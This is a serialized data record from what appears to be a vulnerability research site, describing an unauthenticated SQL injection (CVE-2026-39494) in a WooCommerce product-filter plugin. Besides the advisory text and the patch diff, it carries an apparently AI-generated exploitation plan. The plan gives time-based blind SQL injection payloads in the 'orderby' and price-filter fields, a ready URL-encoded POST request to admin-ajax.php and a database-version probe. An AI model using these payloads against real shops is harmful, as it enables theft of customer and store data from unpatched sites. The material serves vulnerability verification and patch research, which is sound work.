[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f9tSViOYae2RIhrJy3QjklGzWYokyQT6TG-nGYTfnl4I":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-39494","product-filter-for-woocommerce-by-wbw-unauthenticated-sql-injection-2","Product Filter for WooCommerce by WBW \u003C= 3.1.2 - Unauthenticated SQL Injection","The Product Filter for WooCommerce by WBW plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","woo-product-filter",null,"\u003C=3.1.2","3.1.3","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-04-13 00:00:00","2026-04-21 15:05:14",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F463da3d5-f2ec-4cf5-a545-c4ea7b8e7fb3?source=api-prod",9,[22,23,24,25,26,27,28,29],"changelog.txt","classes\u002Fcontroller.php","classes\u002Fframe.php","classes\u002FmodInstaller.php","config.php","modules\u002Fmeta\u002Fcontroller.php","modules\u002Fwoofilters\u002Fcontroller.php","modules\u002Fwoofilters\u002Fjs\u002Ffrontend.woofilters.js","researched",false,3,"# Exploitation Research Plan - CVE-2026-39494\n\n## 1. Vulnerability Summary\nThe **Product Filter for WooCommerce by WBW** plugin (\u003C= 3.1.2) contains an unauthenticated SQL injection vulnerability. The flaw exists because the plugin fails to properly sanitize or prepare user-supplied parameters before incorporating them into SQL queries. Specifically, the AJAX endpoint responsible for product filtering (`filtersFrontend`) processes JSON-encoded parameters like `queryvars` and `filtersDataBackend` without sufficient escaping or using `$wpdb->prepare()`. An attacker can manipulate these parameters to append malicious SQL commands, potentially leading to unauthorized data extraction.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `wpf_filters_frontend` (Inferred based on `WoofiltersControllerWpf::filtersFrontend` and common WBW patterns)\n- **Vulnerable Parameters**: `queryvars` and `filtersDataBackend` (JSON strings)\n- **Authentication**: Unauthenticated (The product filtering functionality must be available to guest users).\n- **Preconditions**: At least one filter must be created, and its shortcode should be present on a page (to facilitate normal plugin loading context).\n\n## 3. Code Flow\n1.  **Entry Point**: A `POST` request is sent to `admin-ajax.php` with `action=wpf_filters_frontend`.\n2.  **Dispatch**: `admin-ajax.php` triggers the `wp_ajax_nopriv_wpf_filters_frontend` hook.\n3.  **Controller Logic**: `WoofiltersControllerWpf::filtersFrontend()` (in `modules\u002Fwoofilters\u002Fcontroller.php`) is called.\n4.  **Parameter Parsing**:\n    -   `$queryvars = UtilsWpf::jsonDecode(stripslashes($params['queryvars']));`\n    -   `$filtersDataBackend = UtilsWpf::jsonDecode(stripslashes($params['filtersDataBackend']));`\n5.  **Sink**: `filtersFrontend` calls `$this->createArgsForFiltering(...)` (line 166). This method (or downstream model methods like `WoofiltersModelWpf::getProductsByArgs`) constructs a raw SQL query or modifies `WP_Query` arguments in a way that allows SQL injection when the inputs are concatenated into the `ORDER BY` or `WHERE` clauses.\n6.  **SQL Execution**: The unsanitized input is passed to `$wpdb->get_results()` or similar sinks within the model.\n\n## 4. Nonce Acquisition Strategy\nBased on the source code for `WoofiltersControllerWpf::filtersFrontend`, there is **no `check_ajax_referer` call**, suggesting this endpoint is unauthenticated and does not require a nonce.\n\nHowever, if the environment enforces a nonce for all AJAX actions, follow these steps:\n1.  Identify the filter shortcode: `[wpf-filters id=1]`.\n2.  Create a test page: `wp post create --post_type=page --post_status=publish --post_content='[wpf-filters id=1]' --post_title='Filter Test'`.\n3.  Navigate to the page using `browser_navigate`.\n4.  Execute `browser_eval` to find any localized security tokens. The plugin often uses the global `wpfData` or `wpfFrontendPage` object.\n5.  Check for: `browser_eval(\"window.wpfData?.wpfNonce\")` or check the source for `wp_localize_script`.\n\n## 5. Exploitation Strategy\nWe will use a time-based blind SQL injection payload targeting the `queryvars` parameter.\n\n### Step 1: Baseline Request\nIdentify the normal response time for a filtering request.\n```json\n{\n  \"action\": \"wpf_filters_frontend\",\n  \"queryvars\": \"{\\\"post_type\\\":\\\"product\\\",\\\"post_status\\\":\\\"publish\\\"}\",\n  \"filtersDataBackend\": \"[]\",\n  \"filterSettings\": \"{}\",\n  \"generalSettings\": \"[]\",\n  \"woocommerceSettings\": \"{}\",\n  \"currenturl\": \"http:\u002F\u002Flocalhost:8080\u002F\"\n}\n```\n\n### Step 2: Time-Based Injection\nInject a `SLEEP` command into the `orderby` field within `queryvars`.\n\n**Payload Construction**:\n```bash\n# JSON Payload for queryvars:\n{\"post_type\":\"product\",\"post_status\":\"publish\",\"orderby\":\"ID,(SELECT 1 FROM (SELECT(SLEEP(5)))a)\"}\n```\n\n**HTTP Request**:\n- **Tool**: `http_request`\n- **Method**: `POST`\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**:\n  ```text\n  action=wpf_filters_frontend&queryvars=%7B%22post_type%22%3A%22product%22%2C%22post_status%22%3A%22publish%22%2C%22orderby%22%3A%22ID%2C(SELECT+1+FROM+(SELECT(SLEEP(5)))a)%22%7D&filtersDataBackend=%5B%5D&filterSettings=%7B%7D&generalSettings=%5B%5D&woocommerceSettings=%7B%7D&currenturl=http%3A%2F%2Flocalhost%3A8080%2F\n  ```\n\n## 6. Test Data Setup\n1.  **Install WooCommerce**: Ensure WooCommerce is active.\n2.  **Create Products**:\n    ```bash\n    wp wc product create --name=\"Test Product 1\" --regular_price=\"10\" --status=\"publish\"\n    wp wc product create --name=\"Test Product 2\" --regular_price=\"20\" --status=\"publish\"\n    ```\n3.  **Create a Filter**:\n    The plugin requires a filter ID to exist in the database for certain logic paths.\n    ```bash\n    # Use WP-CLI to insert a dummy filter if possible, \n    # or navigate to the admin UI to create one via browser tools.\n    wp db query \"INSERT INTO wp_wpf_filters (title, setting_data) VALUES ('Test Filter', 'a:0:{}');\"\n    ```\n4.  **Publish Page**:\n    ```bash\n    wp post create --post_type=page --post_title=\"Filter Page\" --post_content='[wpf-filters id=1]' --post_status=\"publish\"\n    ```\n\n## 7. Expected Results\n- **Normal Request**: Response time \u003C 500ms.\n- **Exploit Request**: Response time > 5000ms.\n- **Response Body**: A JSON object with a `success` key and `html` containing filtered product lists (if the query doesn't break) or a database error if `WP_DEBUG` is on.\n\n## 8. Verification Steps\n1.  **Time Delay**: Confirm the `http_request` execution time matches the `SLEEP` duration.\n2.  **Data Extraction (Manual Verification)**:\n    Attempt to extract the database version:\n    ```json\n    \"orderby\": \"ID,(SELECT 1 FROM (SELECT(IF(VERSION() LIKE '8%', SLEEP(5), 0)))a)\"\n    ```\n3.  **Database State**: Check `wp-admin\u002Fadmin-ajax.php` responses for SQL errors which confirm the injection point.\n\n## 9. Alternative Approaches\nIf `queryvars` is sanitized by a global WordPress filter (unlikely given the plugin's custom query handling), target `filtersDataBackend`.\n\n**Alternative Payload (`filtersDataBackend`)**:\nInject into meta-filter processing:\n```json\nfiltersDataBackend = \"[{\\\"id\\\":\\\"wpfPrice\\\",\\\"settings\\\":{\\\"f_min\\\":\\\"0\\\",\\\"f_max\\\":\\\"100) AND (SELECT 5678 FROM (SELECT(SLEEP(5)))a\\\"}}]\"\n```\nThis targets the logic that builds the price range query. Quote: `modules\u002Fwoofilters\u002Fcontroller.php` line 144 refers to processing specific filter types like `wpfCategory`. Similar logic exists for `wpfPrice` in the model.","The Product Filter for WooCommerce by WBW plugin is vulnerable to unauthenticated SQL injection via the 'filtersFrontend' AJAX endpoint. Due to improper sanitization and preparation of JSON-encoded parameters like 'queryvars' and 'filtersDataBackend', attackers can inject malicious SQL commands into database queries used for product filtering and ordering.","\u002F\u002F modules\u002Fwoofilters\u002Fcontroller.php\npublic function filtersFrontend() {\n    $res = new ResponseWpf();\n\n    $params = ReqWpf::get('post');\n\n    $filtersDataBackend          = UtilsWpf::jsonDecode(stripslashes($params['filtersDataBackend']));\n    $queryvars                   = UtilsWpf::jsonDecode(stripslashes($params['queryvars']));\n    $filterSettings              = UtilsWpf::jsonDecode(stripslashes($params['filterSettings']));\n    \u002F\u002F ... (truncated lines)\n    $args = $this->createArgsForFiltering($filtersDataBackend, $queryvars, $filterSettings, $curUrl, $shortcodeAttr);\n    \u002F\u002F The values inside $queryvars and $filtersDataBackend are passed downstream to database queries without sufficient preparation.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-product-filter\u002F3.1.2\u002Fclasses\u002Fframe.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-product-filter\u002F3.1.3\u002Fclasses\u002Fframe.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-product-filter\u002F3.1.2\u002Fclasses\u002Fframe.php\t2025-11-28 17:20:46.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-product-filter\u002F3.1.3\u002Fclasses\u002Fframe.php\t2026-03-20 11:01:42.000000000 +0000\n@@ -406,14 +408,19 @@\n \n \t\u002F**\n \t * _doExec.\n+\t *\n+\t * @version 3.1.3\n \t *\u002F\n \tprotected function _doExec() {\n \t\t$mod = $this->getModule($this->_mod);\n \t\tif ($mod && $this->checkPermissions($this->_mod, $this->_action)) {\n \t\t\tswitch (ReqWpf::getVar('reqType')) {\n \t\t\t\tcase 'ajax':\n-\t\t\t\t\tadd_action('wp_ajax_'        . $this->_action, array($mod->getController(), $this->_action));\n-\t\t\t\t\tadd_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));\n+\t\t\t\t\tadd_action('wp_ajax_' . $this->_action, array($mod->getController(), $this->_action));\n+\t\t\t\t\t$noprivActions = array( 'filtersFrontend', 'getTaxonomyTerms' );\n+\t\t\t\t\tif ( in_array( $this->_action, $noprivActions ) ) {\n+\t\t\t\t\t\tadd_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));\n+\t\t\t\t\t}\n \t\t\t\t\tbreak;\n \t\t\t\tdefault:\n \t\t\t\t\t$this->_res = $mod->exec($this->_action);","1. Identify an unauthenticated AJAX request to wp-admin\u002Fadmin-ajax.php with the action 'wpf_filters_frontend'.\n2. Construct a POST request including the 'queryvars' parameter as a JSON string.\n3. Inject a SQL payload into the 'orderby' key within the 'queryvars' JSON object (e.g., 'ID,(SELECT 1 FROM (SELECT(SLEEP(5)))a)').\n4. Send the request to the endpoint. No nonce or authentication is required as the plugin registers this action via wp_ajax_nopriv and fails to verify a security token in versions prior to 3.1.3.\n5. Observe the response delay to confirm time-based blind SQL injection.","gemini-3-flash-preview","2026-04-27 14:51:23","2026-04-27 14:52:06",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.1.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoo-product-filter\u002Ftags\u002F3.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoo-product-filter.3.1.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoo-product-filter\u002Ftags\u002F3.1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoo-product-filter.3.1.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoo-product-filter\u002Ftags"]